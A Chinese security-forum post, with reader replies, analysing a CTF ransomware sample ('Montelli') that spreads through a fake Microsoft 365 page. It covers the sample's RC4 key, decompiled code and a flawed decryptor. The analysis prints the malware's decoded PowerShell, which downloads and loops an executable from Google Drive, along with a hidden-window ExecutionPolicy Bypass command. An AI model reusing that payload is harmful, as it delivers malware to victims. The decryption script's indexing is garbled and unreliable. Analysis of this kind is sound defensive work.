solar应急响应 发表于 2025-3-18 16:40

【病毒分析】伪造微软官网+勒索加密+支付威胁,CTF中勒索病毒解密题目真实还原!

本帖最后由 solar应急响应 于 2025-3-18 17:03 编辑

# **1.背景**

该CTF挑战题目完整复现了黑客的攻击链路,攻击者通过伪造钓鱼页面引导受害者下载恶意软件。用户访问伪造的 Microsoft 365 官网后,在点击“Windows Installer (64-bit)”下载选项时,页面会自动跳转至伪造的 GitHub 项目链接,并下载加密器的恶意程序。


伪造Microsoft 365官网

受害者双击运行该程序后,勒索软件会访问远程服务器加载定制的hacked.png图片并当作壁纸,通过调用api遍历文件,判断文件后缀是否为.Montelli,加密完文件后创建一个被加了勒索后缀的文件,从而完成攻击链闭环。(目前该服务器已关停,无法访问该图片)

> 远程服务器:https://raw.githubusercontent.com/R4ven1elia/something/refs/heads/main/hacked.png


定制图片

在所有文件被添加.Montelli后缀后,会弹出的勒索提示信息告知受害者支付1337美元到黑客提供的Pi网络钱包地址 。

> 翻译:
>
> 噢,不!你的文件被劫持了!
>
> 亲爱的极其不幸的电脑用户,
>
> 我们很遗憾地通知你,你珍贵的文件被现存最复杂、训练有素、极其懒惰的勒索软件绑架了。但是不要害怕!你可以找回他们!
>
> 如何恢复它们?
>
> 不要害怕,我亲爱的用户,
>
> 你可以简单地在Pi网络中支付我们1337美元,我们已经为你提供了我们Pi网络钱包的地址,只要转账给我们1337,我们会给你发送你的解密密钥
>
> 发送1337$到此Pl网络地址,否则您的所有数据将被删除!!


# 2.恶意文件基础信息

## 2.1 加密器基本信息

| 文件名   | office64                                                   |
| -------- | ------------------------------------------------------------ |
| 编译器   | Microsoft Visual C/C++(19.36.34435)                |
| 大小   | 300 KB                                                       |
| 操作系统 | Windows(Vista)                         |
| 架构   | 386                                                          |
| 模式   | 64 位                                                      |
| 类型   | EXEC                                                         |
| 字节序   | LE                                                         |
| MD5      | b7da7b88697e543da7c734ff276b5fe2                           |
| SHA1   | 0f9429137d002162c3cf00df80ff352333a715da                     |
| SHA256   | 09faaeeb52d5c0bdba222478e9787a5232bb88003ea42282bd7edc855a320de3 |

# 3.加密后文件分析

## 3.1威胁分析

| **病毒家族**                  | **Montelli**                                                 |
| ----------------------------- | ------------------------------------------------------------ |
| **首次出现时间/捕获分析时间** | 2025/02/28 \|\| 2025/03/7                                    |
| **威胁类型**                  | 勒索软件,加密病毒                                           |
| **加密文件扩展名**            | .Montelli                                                    |
| **感染症状**                  | 无法打开存储在计算机上的文件,以前功能的文件现在具有不同的扩展名(例如,solar.docx.Montelli)。桌面上会显示一条勒索要求消息。网络犯罪分子要求支付赎金(通常以比特币)来解锁您的文件。 |
| **感染方式**                  | 受感染的电子邮件附件(宏)、恶意广告、漏洞利用、恶意链接   |
| **受灾影响**                  | 所有文件都经过加密,如果不支付赎金就无法打开。其他密码窃取木马和恶意软件感染可以与勒索软件感染一起安装。 |

## 3.2 加密的测试文件

### 文件名


### 具体内容:




### 加密文件名特征:

加密文件名 = 原始文件名+Montelli,例如:sierting.txt.Montelli

### 加密算法:

文件加密使用rc4算法,密钥嵌入加密器中。

#### rc4密钥生成:

##### KEY:

```
FLAG{s1mpl3_3nCrYpt1on_
```

### 程序执行流程:


# 4逆向分析

## 4.1加密器逆向分析

### 4.1.1RC4_KSA函数

根据rc4密钥初始化s数组

```C
__int64 __fastcall sub_140002E70(unsigned __int64 a1, _QWORD *a2)
{
char *v3; // rbp
__int64 n256; // rsi
__int64 v6; // rdx
unsigned __int64 n0x100; // rcx
char *v8; // rax
unsigned __int64 v9; // rbx
__int64 v10; // rdx
__m128i si128; // xmm3
int n256_1; // ecx
__int64 v13; // rdx
__m128 v14; // xmm2
unsigned int n8; // ecx
__int64 n8_1; // r8
unsigned int v17; // eax
__m128i v18; // xmm0
__m128i v19; // xmm1
__m128i v20; // xmm0
__m128i v21; // xmm1
__m128i v22; // xmm0
__m128i v23; // xmm0
__m128i v24; // xmm0
__m128i v25; // xmm1
__m128i v26; // xmm1
__int64 v27; // r8
unsigned __int64 v28; // r9
_QWORD *v29; // rcx
__int64 v30; // r10
int v31; // eax
char v32; // cl
__int64 v33; // rdx
__int64 result; // rax

v3 = *(char **)(a1 + 8);
n256 = 256LL;
v6 = *(_QWORD *)a1;
n0x100 = (unsigned __int64)&v3[-*(_QWORD *)a1];
if ( n0x100 <= 0x100 )
{
    if ( n0x100 >= 0x100 )
      goto LABEL_8;
    if ( (unsigned __int64)(*(_QWORD *)(a1 + 16) - v6) < 0x100 )
    {
      sub_140008E60(a1);
      goto LABEL_8;
    }
    v9 = 256 - n0x100;
    memset(v3, 0, 256 - n0x100);
    v8 = &v3;
}
else
{
    v8 = (char *)(v6 + 256);
}
*(_QWORD *)(a1 + 8) = v8;
LABEL_8:
v10 = *(_QWORD *)a1;
si128 = _mm_load_si128((const __m128i *)&xmmword_14000D850);
n256_1 = 0;
if ( *(_QWORD *)a1 > a1 || *(_QWORD *)a1 + 255LL < a1 )
{
    v14 = (__m128)_mm_load_si128((const __m128i *)&xmmword_14000D860);
    n8 = 8;
    n8_1 = 8LL;
    do
    {
      n8_1 += 16LL;
      v17 = n8 + 4;
      v18 = (__m128i)_mm_and_ps((__m128)_mm_add_epi32(_mm_shuffle_epi32(_mm_cvtsi32_si128(n8 - 8), 0), si128), v14);
      v19 = (__m128i)_mm_and_ps((__m128)_mm_add_epi32(_mm_shuffle_epi32(_mm_cvtsi32_si128(n8 - 4), 0), si128), v14);
      v20 = _mm_packus_epi16(v18, v18);
      v21 = _mm_packus_epi16(v19, v19);
      *(_DWORD *)(v10 + n8_1 - 24) = _mm_cvtsi128_si32(_mm_packus_epi16(v20, v20));
      *(_DWORD *)(v10 + n8_1 - 20) = _mm_cvtsi128_si32(_mm_packus_epi16(v21, v21));
      v22 = _mm_cvtsi32_si128(n8);
      n8 += 16;
      v23 = (__m128i)_mm_and_ps((__m128)_mm_add_epi32(_mm_shuffle_epi32(v22, 0), si128), v14);
      v24 = _mm_packus_epi16(v23, v23);
      v25 = (__m128i)_mm_and_ps((__m128)_mm_add_epi32(_mm_shuffle_epi32(_mm_cvtsi32_si128(v17), 0), si128), v14);
      *(_DWORD *)(n8_1 + v10 - 16) = _mm_cvtsi128_si32(_mm_packus_epi16(v24, v24));
      v26 = _mm_packus_epi16(v25, v25);
      *(_DWORD *)(v10 + n8_1 - 12) = _mm_cvtsi128_si32(_mm_packus_epi16(v26, v26));
    }
    while ( (int)(n8 - 8) < 256 );
}
else
{
    v13 = 0LL;
    do
      *(_BYTE *)(++v13 + *(_QWORD *)a1 - 1) = n256_1++;
    while ( n256_1 < 256 );
}
*(_DWORD *)(a1 + 28) = 0;
v27 = 0LL;
v28 = 0LL;
do
{
    v29 = a2;
    if ( a2 > 0xFuLL )
      v29 = (_QWORD *)*a2;
    v30 = *(_QWORD *)a1;
    v31 = (*(_DWORD *)(a1 + 28) + *(unsigned __int8 *)(*(_QWORD *)a1 + v27) + *((unsigned __int8 *)v29 + v28 % a2))
      % 256;
    *(_DWORD *)(a1 + 28) = v31;
    ++v28;
    v32 = *(_BYTE *)(v30 + v27);
    v33 = v31;
    result = *(unsigned __int8 *)(v31 + v30);
    *(_BYTE *)(v30 + v27++) = result;
    *(_BYTE *)(v33 + v30) = v32;
    --n256;
}
while ( n256 );
*(_QWORD *)(a1 + 24) = 0LL;
return result;
}
```

### 4.1.2RC4加密函数

根据输入的s数组对输入的数据进行加密,由于加密完成后未对S盒进行重置操作,因此会导致如下问题

**加密存在BUG:**

在创建多线程的部分,该勒索的所有多线程仅仅只处理了一次RC4的SBOX初始化部分,加密完毕后并未针对RC4的SBOX再次初始化,所以就导致了RC4加密后,SBOX的值发生改变,所以会影响后续加密。

```cpp
// Hidden C++ exception states: #wind=3
_QWORD *__fastcall sub_140003060(__int64 *a1, _QWORD *a2, char *a3)
{
char *v3; // r14
unsigned __int64 n0xF; // rax
char *v7; // rdi
char *v8; // rcx
char *v9; // rbp
char v10; // r9
int v11; // eax
__int64 v12; // rdx
unsigned __int8 *v13; // r8
int v14; // eax
unsigned __int8 *v15; // rdx
unsigned __int8 v16; // cl
char v17; // r9
unsigned __int64 n0xF_2; // rcx
unsigned __int64 n0xF_1; // rdx
_QWORD *v20; // rax

v3 = a3;
*(_OWORD *)a2 = 0LL;
a2 = 0LL;
a2 = 15LL;
*(_BYTE *)a2 = 0;
n0xF = *((_QWORD *)a3 + 2);
if ( n0xF > 0xF )
{
    sub_140007F10(a2);
    a2 = 0LL;
    n0xF = *((_QWORD *)v3 + 2);
}
if ( *((_QWORD *)v3 + 3) <= 0xFuLL )
{
    v7 = v3;
    v8 = v3;
}
else
{
    v7 = *(char **)v3;
    v8 = *(char **)v3;
    v3 = *(char **)v3;
}
v9 = &v8;
if ( v3 != &v8 )
{
    do
    {
      v10 = *v7;
      v11 = (*((_DWORD *)a1 + 6) + 1) % 256;
      *((_DWORD *)a1 + 6) = v11;
      v12 = *a1;
      v13 = (unsigned __int8 *)(*a1 + v11);
      v14 = (*((_DWORD *)a1 + 7) + *v13) % 256;
      *((_DWORD *)a1 + 7) = v14;
      v15 = (unsigned __int8 *)(v14 + v12);
      v16 = *v13;
      *v13 = *v15;
      *v15 = v16;
      v17 = *(_BYTE *)((unsigned __int8)(*(_BYTE *)(*((int *)a1 + 6) + *a1) + *(_BYTE *)(*((int *)a1 + 7) + *a1)) + *a1) ^ v10;
      n0xF_2 = a2;
      n0xF_1 = a2;
      if ( n0xF_2 >= n0xF_1 )
      {
      sub_140008190(a2, n0xF_1, *a1, v17);
      }
      else
      {
      a2 = n0xF_2 + 1;
      v20 = a2;
      if ( n0xF_1 > 0xF )
          v20 = (_QWORD *)*a2;
      *((_BYTE *)v20 + n0xF_2) = v17;
      *((_BYTE *)v20 + n0xF_2 + 1) = 0;
      }
      ++v7;
    }
    while ( v7 != v9 );
}
return a2;
}
```

### 4.1.3壁纸替换函数

将自带的字符串解码后并执行


解码后结果如下,该代码的作用是在远程加载一个图片并当作壁纸

```PowerShell
$imageUrl = "https://raw.githubusercontent.com/R4ven1elia/something/refs/heads/main/hacked.png"
\r\n
$desktopPath = ::GetFolderPath("Desktop")
\r\n
$outputFile = Join-Path -Path $desktopPath -ChildPath "hacked.png"
\r\n
Invoke-WebRequest -Uri $imageUrl -OutFile $outputFile
\r\n
Add-Type -TypeDefinition @"
\r\n
using System;
\r\n
using System.Runtime.InteropServices;
\r\n
public class Wallpaper {
\r\n

\r\n   
public static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
\r\n   
public const int SPI_SETDESKWALLPAPER = 0x0014;
\r\n   
public const int SPIF_UPDATEINIFILE = 0x01;
\r\n   
public const int SPIF_SENDCHANGE = 0x02;
\r\n
}
\r\n
"@
\r\n\r\n
::SystemParametersInfo(::SPI_SETDESKWALLPAPER, 0, $outputFile, ::SPIF_UPDATEINIFILE -bor ::SPIF_SENDCHANGE)
\r\n\r\n
$executeURL = "https://drive.usercontent.google.com/download?id=15SxZaEWsqN64G-dGDWi5C31f94CpuuZc&export=download&confirm=t&uuid=b75378f6-8f6c-4166-a88d-75319d1472fa"
\r\n
$tempFilePath = "$env:TEMP\\run.exe"
\r\n
if (-Not (Test-Path $tempFilePath)) {
\r\n   
Invoke-WebRequest -Uri $executeURL -OutFile $tempFilePath
\r\n}
\r\n
\r\n
while ($true) {
\r\n   
# Start the process
\r\n   
$process = Start-Process -FilePath $tempFilePath -PassThru
\r\n   
\r\n   
# Wait for the process to exit
\r\n   
$process.WaitForExit()
\r\n   
\r\n   
# Optional delay before restarting
\r\n   
Start-Sleep -Seconds 0
\r\n}
```

将这个写入`C:\\Users\\username\\dosomething.ps1`


并执行如下poweshell指令,隐藏窗口执行上面的替换壁纸的代码

```bash
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\\Users\\username\\dosomething.ps1
```

### 4.1.4文件遍历

调用api遍历文件


判断后缀是否为.Montelli


加密完文件后创建一个被加了勒索后缀的文件,然后写入加密内容


删除原文件


### 4.1.5多线程启动加密

使用多线程异步执行加密


# 5.恢复脚本制作

恢复思路如下:调用rc4算法使用密钥`FLAG{s1mpl3_3nCrYpt1on_`对加密文件解密。

但是由于该加密器加密存在bug:在创建多线程的部分,该勒索的所有多线程仅仅只处理了一次RC4的SBOX初始化部分,加密完毕后并未针对RC4的SBOX再次初始化,所以就导致了RC4加密后,SBOX的值发生改变,所以会影响后续加密。因此使用密钥解密只能解密出少数几个文件,恢复代码如下

```python
class RC4:
    def __init__(self, key):
      """初始化 RC4 状态"""
      self.S = list(range(256))# 初始化 S 数组
      j = 0
      # 密钥调度算法 (KSA)
      for i in range(256):
            j = (j + self.S + ord(key)) % 256
            self.S, self.S = self.S, self.S# 交换 S 和 S

    def decrypt(self, ciphertext):
      """解密函数"""
      i = j = 0
      plaintext = []
      # 伪随机生成算法 (PRGA)
      for byte in ciphertext:
            i = (i + 1) % 256
            j = (j + self.S) % 256
            self.S, self.S = self.S, self.S# 交换 S 和 S
            k = self.S[(self.S + self.S) % 256]
            plaintext.append(byte ^ k)# 异或操作
      return bytes(plaintext)


def rc4_decrypt_file(input_file, output_file, key):
    """解密文件"""
    # 读取加密文件
    with open(input_file, "rb") as f:
      ciphertext = f.read()

    # 初始化 RC4
    rc4 = RC4(key)

    # 解密数据
    plaintext = rc4.decrypt(ciphertext)

    # 写入解密后的文件
    with open(output_file, "wb") as f:
      f.write(plaintext)


# 示例用法
key = "FLAG{s1mpl3_3nCrYpt1on_"
input_file = ""# 加密文件路径
output_file = ""# 解密文件路径
rc4_decrypt_file(input_file, output_file, key)
print(f"文件已解密,保存到 {output_file}")
```

# 6.**病毒分析概览**

本案例中,Montelli勒索软件因硬编码密钥暴露(`FLAG{s1mpl3_3nCrYpt1on_`)导致可以对被加密文件进行解密,但是由于RC4加密实现缺陷(S盒单次初始化+状态污染)导致加密漏洞,结合其只能解密小部分文件。

solar应急响应 发表于 2025-3-31 09:57

phan70m 发表于 2025-3-20 08:33
可以问问这道题后半段flag在哪里吗


我们只捕获到了该ctf题目的加密器部分,后半段flag应为题目的被加密文件解密出来的结果,很遗憾我们并未捕获到这一部分

nightye 发表于 2025-3-18 16:45

第一名,先赞后看!我还在看火绒的钓鱼分析文章,就提示solar发文章了!:lol

sanyisi 发表于 2025-3-18 16:54

大佬速度真快啊

Brucewen 发表于 2025-3-18 17:00

牛,学习下,上手

还在学习呢 发表于 2025-3-18 17:46

小白如看天书

J3ggedPeak 发表于 2025-3-18 18:21

大佬6666666

dt6666 发表于 2025-3-18 19:03

病毒都能分析,太秀了,太秀了

liupizi 发表于 2025-3-18 19:53

勒索病毒还是挺麻烦的,影响心情

千年一念 发表于 2025-3-18 20:11


牛,学习下,大佬666

Insta360 发表于 2025-3-18 21:08

牛逼大佬,我这最近也在学这方面的知识,有什么建议吗?佬
页: [1] 2 3 4
查看完整版本: 【病毒分析】伪造微软官网+勒索加密+支付威胁,CTF中勒索病毒解密题目真实还原!